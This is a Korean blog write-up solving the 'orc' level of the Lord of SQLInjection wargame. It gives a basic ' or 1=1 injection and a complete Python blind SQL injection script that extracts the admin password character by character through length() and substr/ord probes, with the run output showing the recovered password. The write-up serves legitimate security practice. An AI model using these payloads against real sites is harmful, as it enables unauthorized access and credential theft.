Hacking (CTF)/웹 해킹

[los.rubiya.kr] orc

gapsoo 2023. 10. 7. 01:06

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr


문제 풀이에 참고한 블로그: https://power-girl0-0.tistory.com/237

 

 

 

 

 

문제 풀이 화면.

 

 

# 문제 조건

 

 

코드를 확인해보면 문제를 풀기 위해 만족해야 하는 조건을 확인할 수 있다.

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

 

즉, $result['pw']가 존재하고 이 값이 사용자가 입력한 $_GET['pw']와 일치해야 문제가 풀린다.

 

 

 

 

# Blind SQL Injection

 

 

이 부분을 보면, 이 문제는 Blind SQL Injection을 이용하여 비밀번호를 추측하여 풀어야 함을 알 수 있다.

 

Blind SQL Injection은 쿼리 결과에 따른 서버의 참과 거짓 반응을 통해 공격을 수행한다.

 

여기서는 id가 admin일 때 'Hello admin'이 출력된다는 점을 활용하여 비밀번호를 추측한다.

 

 

# 쿼리

 

id가 이미 작성되어 있다는 것을 확인하고,

 

'Hello admin'을 출력하기 위해 or 연산을 사용하여 다음과 같은 문자열을 이용한다.

 

? pw=' or 1=1%23

 

여기서 #은 주석처리를 하는데 사용되지 않기 때문에 (인식이 되지 않는다) %23을 사용하여 주석 처리해주었다.

 

 

 

 

 

# 문제 풀이에 활용할 requests 모듈에 대한 설명

 

requests 모듈은 Python에서 HTTP 요청을 보내는데 사용되는 라이브러리이다.

 

이 모듈을 사용하면 웹페이지를 열거나 API와 통신할 수 있다.

requests 모듈을 사용하면 간단하게 GET 요청, POST 요청 등을 보낼 수 있다.

 

또한, 쿠키(Cookie)와 세션(Session)을 다루거나 파일 업로드, HTTP 헤더 설정 등 다양한 기능을 제공한다.

 

예를 들어, 다음은 requests 모듈을 사용하여 간단한 GET 요청을 보내는 예제이다:

 

import requests

response = requests.get('https://www.example.com')
print(response.text)  # 웹페이지의 내용을 출력

 

이 코드는 https://www.example.com 주소로 GET 요청을 보내고, 응답 내용을 출력한다.

 

requests 모듈은 웹 크롤링, API 요청, 웹 서비스와의 통신 등 다양한 웹 관련 작업을 할 때 유용하게 사용된다.

 

 

 

더 많은 내용: https://power-girl0-0.tistory.com/409

 

 

# 비밀번호 길이 구하기

 

 

(requests 모듈을 처음 사용한다면 터미널에서 pip install requests 명령어를 입력해주도록 하자.)

 

 

첫 번째로 비밀번호의 길이를 알아내기 위한 코드이다.

1부터 시작하여 길이를 늘려가며 'Hello admin'이 나올 때까지 시도한다.

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies = {'PHPSESSID': '자신의 섹션 id'}

len_num = 0

while 1:
    len_num += 1
    value = " 'or id='admin' and length(pw)={} #".format(len_num)
    params = {'pw': value}
    response = requests.get(url, params=params, cookies=cookies)

    if "Hello admin" in response.text:
        print("비밀번호 길이 : ", len_num)
        break

 

** 자신의 섹션 id 부분을 본인의 PHPSESSID 값으로 바꿔서 넣어야 한다.

 

 

 

 

# 비밀번호 추측

 

두 번째로 비밀번호를 한 글자씩 추측하는 코드이다.

 

각 글자를 아스키 코드로 변환하여 시도한다.

 

def ans_pw(len_num):
    pwd = ''
    for i in range(1, len_num+1):
        print(i, "번째 검색 중")
        for ch in range(48, 122):
            value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i, ch)
            params = {'pw': value}
            response = requests.get(url, params=params, cookies=cookies)

            if "Hello admin" in response.text:
                pwd += chr(ch)
                print("비밀번호 : ", pwd)
                break

    return pwd

 

 

# 최종적으로 실행할 코드

 

 

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}



def pw_len(): # 비밀번호 길이
    len_num = 0
    
    print("password 길이 ")
    while 1:
        len_num += 1
        value = " 'or id='admin' and length(pw)={} #".format(len_num)
        params = {'pw':value}
        response = requests.get(url,params=params, cookies=cookies)
        print(len_num)
        if "Hello admin" in response.text:
            print("password lenth : ",len_num)
            break
        
    return len_num

def ans_pw(len_num): #비밀번호 유추
    pwd= ''
    for i in range(1, len_num+1): #비밀번호 길이만큼 반복
        print(i,"번째 검색 중")
        for ch in range(48,122): #아스키코드 48부터 122까지 반복
            value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i,ch) # 한글자씩 아스키코드 대입
            params = {'pw':value}
            response = requests.get(url,params=params, cookies=cookies)
            print(ch)
            if "Hello admin" in response.text:	# 비밀번호가 일치하면, 반복을 정지하기 위한 조건문
                pwd += chr(ch) #비밀번호를 순차적으로 저장
                print("password : ", pwd)
                break
        
    return pwd

ans_pw(pw_len())

 

위의 코드를 실행시키면

 

password 길이 
1
2
3
4
5
6
7
8
password lenth :  8
1 번째 검색 중
48
password :  0
2 번째 검색 중
48
49
50
51
52
53
54
55
56
57
password :  09
3 번째 검색 중
48
49
50
51
52
53
password :  095
4 번째 검색 중
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
password :  095a
5 번째 검색 중
48
49
50
51
52
53
54
55
56
57
password :  095a9
6 번째 검색 중
48
49
50
51
52
53
54
55
56
password :  095a98
7 번째 검색 중
48
49
50
51
52
53
password :  095a985
8 번째 검색 중
48
49
50
password :  095a9852

 

password를 확인할 수 있다.

 

 

문제 풀이 완료